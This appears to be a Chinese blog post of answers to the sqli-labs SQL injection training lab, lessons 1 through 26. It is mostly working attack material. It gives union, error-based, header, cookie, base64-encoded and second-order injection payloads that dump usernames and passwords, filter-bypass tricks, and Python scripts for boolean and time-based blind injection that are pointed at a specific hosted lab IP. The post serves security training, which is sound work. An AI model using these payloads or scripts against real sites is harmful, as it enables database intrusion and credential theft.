sqli-labs 答案

第一题:

?id=-1' union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users) --+

第二题:

?id=-1 union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users)  --+

第三题:

?id=-1')  union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users)  --+

第四题:

?id=-1") union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users)  --+

第五题:(由于报错回显一次只能回显32位,可以通过调节substr的显示个数来查看)

-- updatexml 报错注入
?id=1'+and+updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)+--+
floor 报错注入(不知为何时灵时不灵)
?id= -1' union select count(*),1,2 from information_schema.tables group by concat((select concat(username,":",password) from security.users limit 1,1),floor(rand()*2))--+

第六题(与第五题类似)

?id=1"+and+updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)+--+

第七题(同上题)

?id=1'))+and+updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)+--+

第八题(布尔盲注)

通过自己编写脚本,爆破网站

#! /usr/bin/env/python
#-*-coding:utf-8-*-
import requests
from bs4 import BeautifulSoup
import time
chars = r'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@;\/:.'#正则

#boolean blind sql injection
def attack(target):
    url = "http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-8/?id=1%27%20and%20%20(select%20substr({0},{1},1))=%27{2}%27%23"
    #http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-8/?id=1%27%20and%2010224=10224--+
    #http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-8/?id=1' and  (select substr({0},{1},1))='{2}'
    #http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-8/?id=1' and  (select substr(user(),1,1))='{2}'
    count = 1
    result = ''
    while(True):
        result_tmp = result
        for char in chars:

            response = requests.get(url.format(target,count,char))
            soup = BeautifulSoup(response.text,'lxml')
            font = soup.select('body > div:nth-child(1) > font:nth-child(3) > font:nth-child(1)')[0]
            if font.get_text()=='You are in...........':
                result+=char
                print(result+'......')
                break
        #判断是否结束
        if result_tmp == result:#最后一次遍历所有结果返回值均为错(即font.get_text() != 'You Are in ...........'),故result没有变,可作为出头条件
            print(u'脚本结束(结果不区分大小写)')
            print(result)
            break
        count = count+1


#time blind sql injection
def time_blind(target):
    url = "http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-9/?id=1%27%20and%20if(substr({0},{1},1)=%27{2}%27,sleep(5),1)%23"
    #http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-9/?id=1' and if(substr({0},{1},1)='{2}',sleep(5),1)#
    count = 1
    result = ''
    while (True):
        result_tmp = result
        for char in chars:
            start = time.time()

            response = requests.get(url.format(target, count, char))
            if time.time()-start>=5:
                result += char
                print(result + '......')
                break
        # 判断是否结束
        if result_tmp == result:#最后一次遍历所有结果返回值均为小于5s,故result没有变,可作为出头条件
            print(u'脚本结束(结果不区分大小写)')
            print(result)
            break
        count = count + 1

if __name__=='__main__':
    attack('(select username from security.users limit 1,1)')#bool盲注
    #time_blind('user()')#时间盲注

输出:

第九题

时间盲注:
脚本参上。。。

第十题

时间盲注

脚本参考第八题

第十一题(从这题开始为post传参)

通过burpsuite抓包可以得到传参过程

在hackbar的post中可以传入(注意由于post传递编码方式不同,最好不要用+--+注释,可以使用#注释掉后面内容)

uname=1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from security.users) #&passwd=&submit=Submit

第十二题

uname=1") union select 1,(select group_concat(concat_ws(0x7e,username,password)) from security.users) #&passwd=&submit=Submit

第十三题(报错注入)

uname=1') and updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)#&passwd=&submit=Submit

第十四题

uname=1" and updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)#&passwd=&submit=Submit

第十五题(bool盲注或时间盲注)

脚本代码

import requests
from bs4 import BeautifulSoup
chars="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@;\/:."
target='http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-15/'

name=''
password=''

data={
    'uname':name,
    'passwd':password,
    'submit':'submit'

}
#uname=1' or substr((select user()),1,1)='r' #&passwd=a&submit=Submit

def attck(object):
    global name,data,target
    result=''
    count=1
    while True:
        result_tmp = result
        for char in chars:

            name="' or substr({0},{1},1)='{2}'#".format(object,count,char)
            data['uname']=name
            web=requests.post(target,data=data)
            soup = BeautifulSoup(web.text,"lxml")
            #img=soup.select('img')[0].get('src')
            img = soup.select('img')[0].get('src')
            if img == '../images/flag.jpg':
                result+=char
                print(result+'......')
                break
        if(result_tmp==result):
            print('脚本结束(结果不区分大小写)')
            print(result)
            break

        count+=1

if __name__ == '__main__':
    attck('user()')

第十六题

脚本同上题【单引号改为 ")】

第十七题(本题相当于一个更改密码的场景)

本题中对用户名和密码分为了两次进行查询,并且对用户名进行了\'转译,过滤了单引号,但没有对密码进行过滤,只要输入正确用户名,即可对密码进行sql注入,这里提示使用updatexml报错注入。

uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select group_concat(concat_ws(0x7e,username,password)) from security.users),0x7e),1)#&submit=Submit

第十八题(本题中,用户名和密码都进行了单引号过滤,无法再进行注入,本题中可以通过头文件注入--使用burpsuite抓包)(在本题中有数据库进库操作(将uagent,ip,uname入库)),但回显的uagnet不是从数据库中擦讯,而是直接根据你的传入原封不动回显,因此不能使用回显查看,应该使用报错注入。。

闭合方法(2种)

1. or '1'='1     [只闭合uagent的单引号] (我喜欢这种,因为不需要判断后面还有几个值,只需判断闭合方式即可)

2.,'','')#     [将后面两个数据IP,uname注释掉,在添加两个空值]

uagnet:(第一种闭合)
Mozilla/5.0 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Firefox/96.0' or (updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)) or '1'='1
第二种闭合
、Mozilla/5.0 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Firefox/96.0' or (updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)),'','')#

第十九题(基本同上)

 http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-19/'or (updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)),'')#

 http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-19/'or (updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1)) or '1'='1

第二十题(本题使用了cookie,同样可用busurp抓包更改)

'union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users) #

第二十一题(本题与上一题基本一致,但通过观察cookie可以发现其经过base64编码加密,因此注入式应该将注入语句进行base64编码在注入)

编码前
' ) union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users)#
编码后(实际注入)(可通过网页搜索base46编码器进行编码)
JyApIHVuaW9uIHNlbGVjdCAxLDIsKHNlbGVjdCBncm91cF9jb25jYXQoY29uY2F0X3dzKDB4N2UsdXNlcm5hbWUscGFzc3dvcmQpKSBmcm9tIHNlY3VyaXR5LnVzZXJzKSM=

第二十二题(本题与上题基本一致,只是闭合方式变为了双引号)

ps:检测闭合方式可以通过 在cookie后面添加  ' #   ') #   ')) #    " #    ") #    ")) #

依次检验,看是否能够正常返回,不要忘了还有可能是数字而不是字符串

未编码之前
" union select 1,2,(select group_concat(concat_ws(0x7e,username,password)) from security.users) #
编码后IiB1bmlvbiBzZWxlY3QgMSwyLChzZWxlY3QgZ3JvdXBfY29uY2F0KGNvbmNhdF93cygweDdlLHVzZXJuYW1lLHBhc3N3b3JkKSkgZnJvbSBzZWN1cml0eS51c2VycykgIw==

第二十三题(本题将“--”,“#”均过滤了,可以使用 %00截断,使用时不要忘了在前面加上;)

(也可以使用 or '1'='1 进行闭合)

使用;%00
?id=-1' union select 1,1,(select group_concat(concat_ws(0x7e,username,password)) from security.users) ; %00
使用 or '1'='1
http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-23/?id=-1' union select 2,(select group_concat(concat_ws(0x7e,username,password)) from security.users),3 or '1'='1
同样可以使用报错注入
http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-23/?id=-1' and updatexml(1,concat(0x7e,substr((select group_concat(concat_ws(0x7e,username,password)) from security.users),1,30),0x7e),1) or '1'='1

第二十四题(二次注入)

注册新用户,用户名可写为已知用户名+'#如图

 再给这个用户修改密码,就会引发二次注入

是where 语句 后直接变为admin

成功修改admin的密码

第二十五题(绕过)

本题过滤了 and 和 or(不区分大小写)

可以通过双写绕过

 实际上,本题不适用or或者and,直接联合查询即可获得用户信息

第二十五题a

基本同上(只是id变成了数字型)

第二十六题(本题过滤了空格可使用%a0绕过)

http://39.101.73.196/sqli-labs/sqli-labs-php7-master/Less-26/?id=11213' %a0 union %a0 select %a0 1,(select %a0 user()),1 %a0 oorr %a0 '1'='1

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值